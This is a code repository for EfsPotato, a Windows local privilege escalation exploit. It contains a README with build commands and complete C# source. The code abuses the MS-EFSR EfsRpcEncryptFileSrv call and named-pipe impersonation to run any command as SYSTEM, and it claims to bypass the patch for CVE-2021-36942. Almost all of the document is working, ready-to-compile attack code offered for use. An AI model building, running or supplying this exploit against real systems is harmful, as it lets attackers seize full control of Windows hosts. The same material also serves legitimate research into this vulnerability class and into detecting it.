├── test.png ├── README.md └── EfsPotato.cs /test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zcgonvh/EfsPotato/HEAD/test.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability). 2 | 3 | ### build 4 | 5 | #for 4.x 6 | csc.exe EfsPotato.cs -nowarn:1691,618 7 | csc /platform:x86 EfsPotato.cs -nowarn:1691,618 8 | 9 | #for 2.0/3.5 10 | C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs -nowarn:1691,618 11 | C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs -nowarn:1691,618 12 | 13 | ### usage 14 | 15 | usage: EfsPotato [pipe] 16 | pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) 17 | 18 | ![](https://raw.githubusercontent.com/zcgonvh/EfsPotato/master/test.png) 19 | 20 | -------------------------------------------------------------------------------- /EfsPotato.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Text; 4 | using System.Runtime.InteropServices; 5 | using System.IO; 6 | using System.ComponentModel; 7 | using System.Security.Permissions; 8 | using System.Diagnostics; 9 | using System.Threading; 10 | using System.Security.Principal; 11 | using System.Linq; 12 | using Microsoft.Win32.SafeHandles; 13 | 14 | namespace Zcg.Exploits.Local 15 | { 16 | class EfsPotato 17 | { 18 | static void usage() 19 | { 20 | Console.WriteLine("usage: EfsPotato [pipe]"); 21 | Console.WriteLine(" pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)\r\n"); 22 | } 23 | static void Main(string[] args) 24 | { 25 | Console.WriteLine("Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability)."); 26 | Console.WriteLine("Part of GMH's fuck Tools, Code By zcgonvh."); 27 | Console.WriteLine("CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]\r\n"); 28 | if (args.Length < 1) 29 | { 30 | usage(); 31 | return; 32 | } 33 | string pipe = "lsarpc"; 34 | if (args.Length >= 2) 35 | { 36 | if ((new List { "lsarpc", "efsrpc", "samr", "lsass", "netlogon" }).Contains(args[1], StringComparer.OrdinalIgnoreCase)) 37 | { 38 | pipe = args[1]; 39 | } 40 | else 41 | { 42 | usage(); 43 | return; 44 | } 45 | } 46 | 47 | LUID_AND_ATTRIBUTES[] l = new LUID_AND_ATTRIBUTES[1]; 48 | using (WindowsIdentity wi = WindowsIdentity.GetCurrent()) 49 | { 50 | Console.WriteLine("[+] Current user: " + wi.Name); 51 | LookupPrivilegeValue(null, "SeImpersonatePrivilege", out l[0].Luid); 52 | TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES(); 53 | tp.PrivilegeCount = 1; 54 | tp.Privileges = l; 55 | l[0].Attributes = 2; 56 | if (!AdjustTokenPrivileges(wi.Token, false, ref tp, Marshal.SizeOf(tp), IntPtr.Zero, IntPtr.Zero) || Marshal.GetLastWin32Error() != 0) 57 | { 58 | Console.WriteLine("[x] SeImpersonatePrivilege not held."); 59 | return; 60 | } 61 | } 62 | string g = Guid.NewGuid().ToString("d"); 63 | string fake = @"\\.\pipe\" + g + @"\pipe\srvsvc"; 64 | var hPipe = CreateNamedPipe(fake, 3, 0, 10, 2048, 2048, 0, IntPtr.Zero); 65 | if (hPipe == new IntPtr(-1)) 66 | { 67 | Console.WriteLine("[x] can not create pipe: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); 68 | return; 69 | } 70 | ManualResetEvent mre = new ManualResetEvent(false); 71 | var tn = new Thread(NamedPipeThread); 72 | tn.IsBackground = true; 73 | tn.Start(new object[] { hPipe, mre }); 74 | var tn2 = new Thread(RpcThread); 75 | tn2.IsBackground = true; 76 | tn2.Start(new object[] { g, pipe }); 77 | if (mre.WaitOne(3000)) 78 | { 79 | if (ImpersonateNamedPipeClient(hPipe)) 80 | { 81 | IntPtr tkn = WindowsIdentity.GetCurrent().Token; 82 | Console.WriteLine("[+] Get Token: " + tkn); 83 | SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); 84 | sa.nLength = Marshal.SizeOf(sa); 85 | sa.pSecurityDescriptor = IntPtr.Zero; 86 | sa.bInheritHandle = 1; 87 | IntPtr hRead, hWrite; 88 | CreatePipe(out hRead, out hWrite, ref sa, 1024); 89 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); 90 | STARTUPINFO si = new STARTUPINFO(); 91 | si.cb = Marshal.SizeOf(si); 92 | si.hStdError = hWrite; 93 | si.hStdOutput = hWrite; 94 | si.lpDesktop = "WinSta0\\Default"; 95 | si.dwFlags = 0x101; 96 | si.wShowWindow = 0; 97 | if (CreateProcessAsUser(tkn, null, args[0], IntPtr.Zero, IntPtr.Zero, true, 0x08000000, IntPtr.Zero, IntPtr.Zero, ref si, out pi)) 98 | { 99 | Console.WriteLine("[!] process with pid: {0} created.\r\n==============================", pi.dwProcessId); 100 | tn = new Thread(ReadThread); 101 | tn.IsBackground = true; 102 | tn.Start(hRead); 103 | new ProcessWaitHandle(new SafeWaitHandle(pi.hProcess, false)).WaitOne(-1); 104 | tn.Abort(); 105 | CloseHandle(pi.hProcess); 106 | CloseHandle(pi.hThread); 107 | CloseHandle(tkn); 108 | CloseHandle(hWrite); 109 | CloseHandle(hRead); 110 | } 111 | } 112 | } 113 | else 114 | { 115 | Console.WriteLine("[x] operation timed out."); 116 | CreateFile(fake, 1073741824, 0, IntPtr.Zero, 3, 0x80, IntPtr.Zero);//force cancel async operation 117 | } 118 | CloseHandle(hPipe); 119 | } 120 | static void ReadThread(object o) 121 | { 122 | IntPtr p = (IntPtr)o; 123 | FileStream fs = new FileStream(p, FileAccess.Read, false); 124 | StreamReader sr = new StreamReader(fs, Console.OutputEncoding); 125 | while (true) 126 | { 127 | string s = sr.ReadLine(); 128 | if (s == null) { break; } 129 | Console.WriteLine(s); 130 | } 131 | } 132 | static void RpcThread(object o) 133 | { 134 | object[] objs = o as object[]; 135 | string g = objs[0] as string; 136 | string p = objs[1] as string; 137 | EfsrTiny r = new EfsrTiny(p); 138 | try 139 | { 140 | r.EfsRpcEncryptFileSrv("\\\\localhost/PIPE/" + g + "/\\" + g + "\\" + g); 141 | } 142 | catch (Exception ex) 143 | { 144 | Console.WriteLine(ex); 145 | } 146 | } 147 | 148 | static void NamedPipeThread(object o) 149 | { 150 | object[] objs = o as object[]; 151 | IntPtr pipe = (IntPtr)objs[0]; 152 | ManualResetEvent mre = objs[1] as ManualResetEvent; 153 | if (mre != null) 154 | { 155 | ConnectNamedPipe(pipe, IntPtr.Zero); 156 | mre.Set(); 157 | } 158 | } 159 | #region pinvoke 160 | //just copy-paste from stackoverflow,pinvoke.net,etc 161 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 162 | static extern IntPtr CreateFile(string lpFileName, int access, int share, IntPtr sa, int cd, int flag, IntPtr zero); 163 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 164 | static extern IntPtr CreateNamedPipe(string name, int i1, int i2, int i3, int i4, int i5, int i6, IntPtr zero); 165 | [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] 166 | static extern IntPtr ConnectNamedPipe(IntPtr pipe, IntPtr zero); 167 | [DllImport("advapi32.dll", SetLastError = true)] 168 | private static extern bool ImpersonateNamedPipeClient(IntPtr pipe); 169 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, ExactSpelling = true, SetLastError = true)] 170 | public static extern bool CloseHandle(IntPtr handle); 171 | 172 | [DllImport("advapi32.dll", SetLastError = true)] 173 | public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int Bufferlength, IntPtr PreviousState, IntPtr ReturnLength); 174 | 175 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 176 | public static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize); 177 | 178 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] 179 | [return: MarshalAs(UnmanagedType.Bool)] 180 | public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); 181 | 182 | [StructLayout(LayoutKind.Sequential)] 183 | public struct TOKEN_PRIVILEGES 184 | { 185 | public uint PrivilegeCount; 186 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] 187 | public LUID_AND_ATTRIBUTES[] Privileges; 188 | } 189 | 190 | [StructLayout(LayoutKind.Sequential)] 191 | public struct LUID_AND_ATTRIBUTES 192 | { 193 | public LUID Luid; 194 | public UInt32 Attributes; 195 | } 196 | [StructLayout(LayoutKind.Sequential)] 197 | public struct LUID 198 | { 199 | public uint LowPart; 200 | public int HighPart; 201 | } 202 | 203 | [DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)] 204 | public static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, IntPtr lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); 205 | 206 | [StructLayout(LayoutKind.Sequential)] 207 | public struct PROCESS_INFORMATION 208 | { 209 | public IntPtr hProcess; 210 | public IntPtr hThread; 211 | public int dwProcessId; 212 | public int dwThreadId; 213 | } 214 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] 215 | public struct STARTUPINFO 216 | { 217 | public Int32 cb; 218 | public string lpReserved; 219 | public string lpDesktop; 220 | public string lpTitle; 221 | public Int32 dwX; 222 | public Int32 dwY; 223 | public Int32 dwXSize; 224 | public Int32 dwYSize; 225 | public Int32 dwXCountChars; 226 | public Int32 dwYCountChars; 227 | public Int32 dwFillAttribute; 228 | public Int32 dwFlags; 229 | public Int16 wShowWindow; 230 | public Int16 cbReserved2; 231 | public IntPtr lpReserved2; 232 | public IntPtr hStdInput; 233 | public IntPtr hStdOutput; 234 | public IntPtr hStdError; 235 | } 236 | [StructLayout(LayoutKind.Sequential)] 237 | public struct SECURITY_ATTRIBUTES 238 | { 239 | public int nLength; 240 | public IntPtr pSecurityDescriptor; 241 | public int bInheritHandle; 242 | } 243 | #endregion 244 | } 245 | //copy from bcl 246 | internal class ProcessWaitHandle : WaitHandle 247 | { 248 | internal ProcessWaitHandle(SafeWaitHandle processHandle) 249 | { 250 | base.SafeWaitHandle = processHandle; 251 | } 252 | } 253 | 254 | //this code just copy-paste from gist 255 | //orig class: rprn 256 | //some changed for MS-EFSR 257 | class EfsrTiny 258 | { 259 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFromStringBindingW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 260 | private static extern Int32 RpcBindingFromStringBinding(String bindingString, out IntPtr lpBinding); 261 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetAuthInfoW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 262 | private static extern Int32 RpcBindingSetAuthInfo(IntPtr lpBinding, string ServerPrincName, UInt32 AuthnLevel, UInt32 AuthnSvc, IntPtr AuthIdentity, UInt32 AuthzSvc); 263 | 264 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 265 | private static extern IntPtr NdrClientCall2x86(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr args); 266 | 267 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingFree", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 268 | private static extern Int32 RpcBindingFree(ref IntPtr lpString); 269 | 270 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcStringBindingComposeW", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = false)] 271 | private static extern Int32 RpcStringBindingCompose(String ObjUuid, String ProtSeq, String NetworkAddr, String Endpoint, String Options, out IntPtr lpBindingString); 272 | 273 | [DllImport("Rpcrt4.dll", EntryPoint = "RpcBindingSetOption", CallingConvention = CallingConvention.StdCall, SetLastError = false)] 274 | private static extern Int32 RpcBindingSetOption(IntPtr Binding, UInt32 Option, IntPtr OptionValue); 275 | 276 | [DllImport("Rpcrt4.dll", EntryPoint = "NdrClientCall2", CallingConvention = CallingConvention.Cdecl, CharSet = CharSet.Unicode, SetLastError = false)] 277 | internal static extern IntPtr NdrClientCall2x64(IntPtr pMIDL_STUB_DESC, IntPtr formatString, IntPtr binding, string FileName); 278 | 279 | private static byte[] MIDL_ProcFormatStringx86 = new byte[] { 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x0c, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x46, 0x02, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x0c, 0x00, 0x70, 0x00, 0x08, 0x00, 0x08, 0x00 }; 280 | 281 | private static byte[] MIDL_ProcFormatStringx64 = new byte[] { 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x18, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x46, 0x02, 0x0a, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x0c, 0x00, 0x70, 0x00, 0x10, 0x00, 0x08, 0x00 }; 282 | 283 | private static byte[] MIDL_TypeFormatStringx86 = new byte[] { 0x00, 0x00, 0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x08, 0x25, 0x5c, 0x00, 0x00 }; 284 | 285 | private static byte[] MIDL_TypeFormatStringx64 = new byte[] { 0x00, 0x00, 0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x08, 0x25, 0x5c, 0x00, 0x00 }; 286 | Guid interfaceId; 287 | public EfsrTiny(string pipe) 288 | { 289 | IDictionary bindingMapping = new Dictionary() 290 | { 291 | {"lsarpc", "c681d488-d850-11d0-8c52-00c04fd90f7e"}, 292 | {"efsrpc", "df1941c5-fe89-4e79-bf10-463657acf44d"}, 293 | {"samr", "c681d488-d850-11d0-8c52-00c04fd90f7e"}, 294 | {"lsass", "c681d488-d850-11d0-8c52-00c04fd90f7e"}, 295 | {"netlogon", "c681d488-d850-11d0-8c52-00c04fd90f7e"} 296 | }; 297 | 298 | interfaceId = new Guid(bindingMapping[pipe]); 299 | 300 | pipe = String.Format("\\pipe\\{0}", pipe); 301 | Console.WriteLine("[+] Pipe: " + pipe); 302 | if (IntPtr.Size == 8) 303 | { 304 | InitializeStub(interfaceId, MIDL_ProcFormatStringx64, MIDL_TypeFormatStringx64, pipe, 1, 0); 305 | } 306 | else 307 | { 308 | InitializeStub(interfaceId, MIDL_ProcFormatStringx86, MIDL_TypeFormatStringx86, pipe, 1, 0); 309 | } 310 | } 311 | 312 | ~EfsrTiny() 313 | { 314 | freeStub(); 315 | } 316 | public int EfsRpcEncryptFileSrv(string FileName) 317 | { 318 | IntPtr result = IntPtr.Zero; 319 | IntPtr pfn = Marshal.StringToHGlobalUni(FileName); 320 | 321 | try 322 | { 323 | if (IntPtr.Size == 8) 324 | { 325 | result = NdrClientCall2x64(GetStubHandle(), GetProcStringHandle(2), Bind(Marshal.StringToHGlobalUni("localhost")), FileName); 326 | } 327 | else 328 | { 329 | result = CallNdrClientCall2x86(2, Bind(Marshal.StringToHGlobalUni("localhost")), pfn); 330 | } 331 | } 332 | catch (SEHException) 333 | { 334 | int err = Marshal.GetExceptionCode(); 335 | Console.WriteLine("[x] EfsRpcEncryptFileSrv failed: " + err); 336 | return err; 337 | } 338 | finally 339 | { 340 | if (pfn != IntPtr.Zero) 341 | Marshal.FreeHGlobal(pfn); 342 | } 343 | return (int)result.ToInt64(); 344 | } 345 | private byte[] MIDL_ProcFormatString; 346 | private byte[] MIDL_TypeFormatString; 347 | private GCHandle procString; 348 | private GCHandle formatString; 349 | private GCHandle stub; 350 | private GCHandle faultoffsets; 351 | private GCHandle clientinterface; 352 | private string PipeName; 353 | 354 | allocmemory AllocateMemoryDelegate = AllocateMemory; 355 | freememory FreeMemoryDelegate = FreeMemory; 356 | 357 | public UInt32 RPCTimeOut = 5000; 358 | 359 | protected void InitializeStub(Guid interfaceID, byte[] MIDL_ProcFormatString, byte[] MIDL_TypeFormatString, string pipe, ushort MajorVerson, ushort MinorVersion) 360 | { 361 | this.MIDL_ProcFormatString = MIDL_ProcFormatString; 362 | this.MIDL_TypeFormatString = MIDL_TypeFormatString; 363 | PipeName = pipe; 364 | procString = GCHandle.Alloc(this.MIDL_ProcFormatString, GCHandleType.Pinned); 365 | 366 | RPC_CLIENT_INTERFACE clientinterfaceObject = new RPC_CLIENT_INTERFACE(interfaceID, MajorVerson, MinorVersion); 367 | 368 | COMM_FAULT_OFFSETS commFaultOffset = new COMM_FAULT_OFFSETS(); 369 | commFaultOffset.CommOffset = -1; 370 | commFaultOffset.FaultOffset = -1; 371 | faultoffsets = GCHandle.Alloc(commFaultOffset, GCHandleType.Pinned); 372 | clientinterface = GCHandle.Alloc(clientinterfaceObject, GCHandleType.Pinned); 373 | formatString = GCHandle.Alloc(MIDL_TypeFormatString, GCHandleType.Pinned); 374 | 375 | MIDL_STUB_DESC stubObject = new MIDL_STUB_DESC(formatString.AddrOfPinnedObject(), 376 | clientinterface.AddrOfPinnedObject(), 377 | Marshal.GetFunctionPointerForDelegate(AllocateMemoryDelegate), 378 | Marshal.GetFunctionPointerForDelegate(FreeMemoryDelegate)); 379 | 380 | stub = GCHandle.Alloc(stubObject, GCHandleType.Pinned); 381 | } 382 | 383 | 384 | protected void freeStub() 385 | { 386 | procString.Free(); 387 | faultoffsets.Free(); 388 | clientinterface.Free(); 389 | formatString.Free(); 390 | stub.Free(); 391 | } 392 | 393 | delegate IntPtr allocmemory(int size); 394 | 395 | protected static IntPtr AllocateMemory(int size) 396 | { 397 | IntPtr memory = Marshal.AllocHGlobal(size); 398 | return memory; 399 | } 400 | 401 | delegate void freememory(IntPtr memory); 402 | 403 | protected static void FreeMemory(IntPtr memory) 404 | { 405 | Marshal.FreeHGlobal(memory); 406 | } 407 | 408 | 409 | protected IntPtr Bind(IntPtr IntPtrserver) 410 | { 411 | string server = Marshal.PtrToStringUni(IntPtrserver); 412 | IntPtr bindingstring = IntPtr.Zero; 413 | IntPtr binding = IntPtr.Zero; 414 | Int32 status; 415 | status = RpcStringBindingCompose(interfaceId.ToString(), "ncacn_np", server, PipeName, null, out bindingstring); 416 | if (status != 0) 417 | { 418 | Console.WriteLine("[x] RpcStringBindingCompose failed with status 0x" + status.ToString("x")); 419 | return IntPtr.Zero; 420 | } 421 | status = RpcBindingFromStringBinding(Marshal.PtrToStringUni(bindingstring), out binding); 422 | RpcBindingFree(ref bindingstring); 423 | if (status != 0) 424 | { 425 | Console.WriteLine("[x] RpcBindingFromStringBinding failed with status 0x" + status.ToString("x")); 426 | return IntPtr.Zero; 427 | } 428 | 429 | status = RpcBindingSetAuthInfo(binding, server, /* RPC_C_AUTHN_LEVEL_PKT_PRIVACY */ 6, /* RPC_C_AUTHN_GSS_NEGOTIATE */ 9, IntPtr.Zero, 16); 430 | if (status != 0) 431 | { 432 | Console.WriteLine("[x] RpcBindingSetAuthInfo failed with status 0x" + status.ToString("x")); 433 | } 434 | 435 | status = RpcBindingSetOption(binding, 12, new IntPtr(RPCTimeOut)); 436 | if (status != 0) 437 | { 438 | Console.WriteLine("[x] RpcBindingSetOption failed with status 0x" + status.ToString("x")); 439 | } 440 | Console.WriteLine("[!] binding ok (handle=" + binding.ToString("x") + ")"); 441 | return binding; 442 | } 443 | 444 | protected IntPtr GetProcStringHandle(int offset) 445 | { 446 | return Marshal.UnsafeAddrOfPinnedArrayElement(MIDL_ProcFormatString, offset); 447 | } 448 | 449 | protected IntPtr GetStubHandle() 450 | { 451 | return stub.AddrOfPinnedObject(); 452 | } 453 | protected IntPtr CallNdrClientCall2x86(int offset, params IntPtr[] args) 454 | { 455 | 456 | GCHandle stackhandle = GCHandle.Alloc(args, GCHandleType.Pinned); 457 | IntPtr result; 458 | try 459 | { 460 | result = NdrClientCall2x86(GetStubHandle(), GetProcStringHandle(offset), stackhandle.AddrOfPinnedObject()); 461 | } 462 | finally 463 | { 464 | stackhandle.Free(); 465 | } 466 | return result; 467 | } 468 | } 469 | [StructLayout(LayoutKind.Sequential)] 470 | struct COMM_FAULT_OFFSETS 471 | { 472 | public short CommOffset; 473 | public short FaultOffset; 474 | } 475 | 476 | [StructLayout(LayoutKind.Sequential)] 477 | struct RPC_VERSION 478 | { 479 | public ushort MajorVersion; 480 | public ushort MinorVersion; 481 | public RPC_VERSION(ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) 482 | { 483 | MajorVersion = InterfaceVersionMajor; 484 | MinorVersion = InterfaceVersionMinor; 485 | } 486 | } 487 | 488 | [StructLayout(LayoutKind.Sequential)] 489 | struct RPC_SYNTAX_IDENTIFIER 490 | { 491 | public Guid SyntaxGUID; 492 | public RPC_VERSION SyntaxVersion; 493 | } 494 | 495 | [StructLayout(LayoutKind.Sequential)] 496 | struct RPC_CLIENT_INTERFACE 497 | { 498 | public uint Length; 499 | public RPC_SYNTAX_IDENTIFIER InterfaceId; 500 | public RPC_SYNTAX_IDENTIFIER TransferSyntax; 501 | public IntPtr /*PRPC_DISPATCH_TABLE*/ DispatchTable; 502 | public uint RpcProtseqEndpointCount; 503 | public IntPtr /*PRPC_PROTSEQ_ENDPOINT*/ RpcProtseqEndpoint; 504 | public IntPtr Reserved; 505 | public IntPtr InterpreterInfo; 506 | public uint Flags; 507 | 508 | public static Guid IID_SYNTAX = new Guid(0x8A885D04u, 0x1CEB, 0x11C9, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10, 0x48, 0x60); 509 | 510 | public RPC_CLIENT_INTERFACE(Guid iid, ushort InterfaceVersionMajor, ushort InterfaceVersionMinor) 511 | { 512 | Length = (uint)Marshal.SizeOf(typeof(RPC_CLIENT_INTERFACE)); 513 | RPC_VERSION rpcVersion = new RPC_VERSION(InterfaceVersionMajor, InterfaceVersionMinor); 514 | InterfaceId = new RPC_SYNTAX_IDENTIFIER(); 515 | InterfaceId.SyntaxGUID = iid; 516 | InterfaceId.SyntaxVersion = rpcVersion; 517 | rpcVersion = new RPC_VERSION(2, 0); 518 | TransferSyntax = new RPC_SYNTAX_IDENTIFIER(); 519 | TransferSyntax.SyntaxGUID = IID_SYNTAX; 520 | TransferSyntax.SyntaxVersion = rpcVersion; 521 | DispatchTable = IntPtr.Zero; 522 | RpcProtseqEndpointCount = 0u; 523 | RpcProtseqEndpoint = IntPtr.Zero; 524 | Reserved = IntPtr.Zero; 525 | InterpreterInfo = IntPtr.Zero; 526 | Flags = 0u; 527 | } 528 | } 529 | 530 | [StructLayout(LayoutKind.Sequential)] 531 | struct MIDL_STUB_DESC 532 | { 533 | public IntPtr /*RPC_CLIENT_INTERFACE*/ RpcInterfaceInformation; 534 | public IntPtr pfnAllocate; 535 | public IntPtr pfnFree; 536 | public IntPtr pAutoBindHandle; 537 | public IntPtr /*NDR_RUNDOWN*/ apfnNdrRundownRoutines; 538 | public IntPtr /*GENERIC_BINDING_ROUTINE_PAIR*/ aGenericBindingRoutinePairs; 539 | public IntPtr /*EXPR_EVAL*/ apfnExprEval; 540 | public IntPtr /*XMIT_ROUTINE_QUINTUPLE*/ aXmitQuintuple; 541 | public IntPtr pFormatTypes; 542 | public int fCheckBounds; 543 | /* Ndr library version. */ 544 | public uint Version; 545 | public IntPtr /*MALLOC_FREE_STRUCT*/ pMallocFreeStruct; 546 | public int MIDLVersion; 547 | public IntPtr CommFaultOffsets; 548 | // New fields for version 3.0+ 549 | public IntPtr /*USER_MARSHAL_ROUTINE_QUADRUPLE*/ aUserMarshalQuadruple; 550 | // Notify routines - added for NT5, MIDL 5.0 551 | public IntPtr /*NDR_NOTIFY_ROUTINE*/ NotifyRoutineTable; 552 | public IntPtr mFlags; 553 | // International support routines - added for 64bit post NT5 554 | public IntPtr /*NDR_CS_ROUTINES*/ CsRoutineTables; 555 | public IntPtr ProxyServerInfo; 556 | public IntPtr /*NDR_EXPR_DESC*/ pExprInfo; 557 | // Fields up to now present in win2000 release. 558 | 559 | public MIDL_STUB_DESC(IntPtr pFormatTypesPtr, IntPtr RpcInterfaceInformationPtr, 560 | IntPtr pfnAllocatePtr, IntPtr pfnFreePtr) 561 | { 562 | pFormatTypes = pFormatTypesPtr; 563 | RpcInterfaceInformation = RpcInterfaceInformationPtr; 564 | CommFaultOffsets = IntPtr.Zero; 565 | pfnAllocate = pfnAllocatePtr; 566 | pfnFree = pfnFreePtr; 567 | pAutoBindHandle = IntPtr.Zero; 568 | apfnNdrRundownRoutines = IntPtr.Zero; 569 | aGenericBindingRoutinePairs = IntPtr.Zero; 570 | apfnExprEval = IntPtr.Zero; 571 | aXmitQuintuple = IntPtr.Zero; 572 | fCheckBounds = 1; 573 | Version = 0x50002u; 574 | pMallocFreeStruct = IntPtr.Zero; 575 | MIDLVersion = 0x801026e; 576 | aUserMarshalQuadruple = IntPtr.Zero; 577 | NotifyRoutineTable = IntPtr.Zero; 578 | mFlags = new IntPtr(0x00000001); 579 | CsRoutineTables = IntPtr.Zero; 580 | ProxyServerInfo = IntPtr.Zero; 581 | pExprInfo = IntPtr.Zero; 582 | } 583 | } 584 | 585 | } 586 | --------------------------------------------------------------------------------